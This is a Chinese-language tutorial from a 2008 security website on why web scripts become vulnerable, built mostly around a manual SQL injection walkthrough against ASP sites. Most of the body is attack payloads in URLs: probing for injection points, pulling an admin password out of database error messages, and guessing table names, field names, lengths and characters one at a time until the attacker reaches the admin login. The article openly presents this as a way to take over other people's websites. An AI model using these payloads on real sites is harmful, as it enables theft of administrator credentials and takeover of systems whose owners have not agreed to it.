通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
网站脚本漏洞形成的原因
责任编辑:酷酷の鱼   更新日期:2008-1-14
 

来源:安全中国

随着网络经济的复舒,开始越来越多的网站涌现出来,随着脚本漏洞的挖掘,黑客也越来越猖狂,并且越来越低龄化和傻瓜化。“你只要会用一个工具就可以黑站”,这就是脚本漏洞利的特点。这些漏洞的主要成因是编程程序员的素质,往往在编写asp或php等程序时候对字符的过滤不严密,对注入漏洞不了解,或者某个参数忘记检查导致的。

由于编写网页程序这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。我们看一个例子:在本机建一个基于iis的asp程序http://localhost/test/show.asp?ID=3,将这个网址提交到服务器后,服务器将进行类似Select * from 表名 where 字段="&ID的查询(ID即客户端提交的参数,本例即是3),再将查询结果返回给客户端,如果这里客户端故意提交这么一个网址:http://localhost/test/show.asp?ID=3 and user>0,这时,服务器运行Select * from 表名 where 字段=444 and user>0这样的查询,当然,这个语句是运行不下去的,肯定出错,错误信息如下:

  ·错误类型:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 ’test’ 转换为数据类型为 int 的列时发生语法错误。
/test/show.asp, 第 34 行

从这个出错信息中,我们可以获得以下信息:该站使用MSSQL数据库,用ODBC连接,连接帐号名为:test。所谓SQL注入,就是利用程序员对用户输入数据的合法性检测不严或不检测的特点,故意从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取想得到的资料。通常别有用心者的目标是获取网站管理员的帐号和密码。比如当知道网站管理员帐号存在表login中,管理员帐号名为admin 想知道admin的密码,这里接着从客户端提交这样一个网址:
http://localhost/test/show.asp?ID=4 and (Select password fro

m login where user_name=’admin’)>0,返回的出错信息如下:

  ·错误类型:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 ’admin888’ 转换为数据类型为 int 的列时发生语法错误。
/test/show.asp, 第 34 行

现在出来了“admin888”就是管理员的密码!得到这个密码,这时您就可以用这个帐号和密码接管人家的网站了!当然我们并不知道帐号就在表login中,而且也不知道管理员名为admin,但这些不容难办到,我们可以写个工具进行猜解,速度很快就可以找到你想要的东西了。前面是有关mssql数据库的注入基础,我们再看一看acce数据库的注入基础:首先进行浏览器的设置,以保证手工注入时能返回出错信息。其操作步骤为:右键单击浏览器图标,选择“属性”,在弹出来的对话框中选择“高级”选项卡,接着去掉“显示友好的HTTP错误信息”前面的钩,最后点击“应用”按钮即可。

对于sql注入得先找到注入点,注入点的判断方法为:通常打开一个类似http://wwww.xx

xx.com/xxx.asp?id=xx的url后加个单引号,变成http://ww.xxx.com/xxx.asp?id=xx’

如果出现错误提示,则说明可能存在注入漏洞,再输入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查询数据库,1=1是一个恒等式可以忽略,因此会返回一个正常的页面,此页面和http://wwww.xxxx.com/xxx.asp?id=xx一样,这时入侵者便判断此站有希望被注入。如果返回的是一些错误信息,那么一些初级的入侵者可能就会放弃这个站点。入侵者进一步向浏览器提交如下url: http://www.xxx.com/xxx.asp?id=xx and 1=2,1=2为一个恒不等式,如果该站点支持数据库查询,则大概会返回如下所示的信息:

Microsoft vbscript 编译器错误 错误码率 

‘800a03f6’                                                                                                                 

缺少’End’

/iishelp/common/500-100.asp,行242

ADODB.Field 错误 ‘800a0bcd’

一般出现以上信息就可以确定存在sql注入漏洞了。下面我们来看一下sql注入的过程分析:    

  如: 打开:http://hostlocal/test2/list.asp?id=17在其后面加'为http://hostlocal/test2/list.asp?id=17'
出错!显示为:“数据库出错”。那么接下来我们便进行如下操作:

1 猜管理员帐号表。
2 猜相应表中的用户的字段名以及密码的字段名。
3 猜出用户名的长度和密码的长度
4 猜出用户和密码
5 找到管理页面进入管理

猜管理员的表:                            

 http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)'//min(id)返回表中ID最小值
返回文章证明,有一个admin的表;如果没有返回文章,证明出错不存在admin这个表。
    
猜用户的字段名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user='aaa')返回错误信息,表示没有user这个用户段名
再来!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username='aaa')
没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin中存在username个字段,只是用户名不是aaa

猜密码的字段名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(i

d) from admin where passwd='aaa')返回错误信息表示没有passwd这个密码字段名。                        

再来:http://hostlocal/test2/list.asp?id=17 and 1=(select

 min(id) from admin where password=aaa')没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin中存在password这个字段,只是密码不是aaa

猜用户字段名长度:                          

http://hostlocal/test2/list.asp?id=17 and 1=(select min(

id) from admin where len(username)

>5)                                                             

 正确
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10)
正确
用户名长度大于5小于10
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)

=7)                                                              

呵``` 用户名长度为7位

猜密码长度:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)
正确
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10)
正确
密码长度也是大于5小于10
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)
呵``` 密码长度为7位

猜用户名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)='a')

 用户名第一个字母是:a                                                          

猜用户名第二位:http://hostlocal/test2/list.asp?id=17 and 1=

(select min(id) from admin where mid(username,2,1)='b')                                             

以此类推!

猜密码:                                                                       

猜密码跟猜用户名一样!
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)='a') 
猜完后来到管理页面:
http://hostlocal/test2/admin.asp

登录

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月14日发布 每日计算机病毒及木马播报
    推荐文章 推荐:安全检测80端口Web服务攻击痕迹
    普通文章 IIS 6.0默认设置安全性的改变
    普通文章 防范DDOS分布式攻击的策略和措施
    普通文章 Php网站脚本注入的原理
    普通文章 网站脚本漏洞形成的原因
    普通文章 自己写的文件分析器-PE DeCODER v1.0
    普通文章 OfficeMan-V2.1简单算法分析-菜鸟篇
    普通文章 MS08-002:LSASS中的漏洞有可能允许本地特权提升
    热门文章
    普通文章网络渗透测试无法告诉你的东西
    普通文章反汇编破解Radmin密码实例
    普通文章简单的TxtEdit 4.5.2注册算法
    推荐文章推荐:用IE浏览器实现远程控制服务器
    普通文章双色球掌握天机 1.2.0的注册算法
    普通文章delphi控件ImageEn2.26算法分析
    普通文章计算机病毒鼻祖拟挑战谷歌
    普通文章黑色“DOS”频繁闪出 究竟是谁在作怪?
    普通文章2007年十大病毒排行:U盘病毒折桂年度毒王
    普通文章江民监测报告称计算机新病毒一年增长5倍
    精彩专题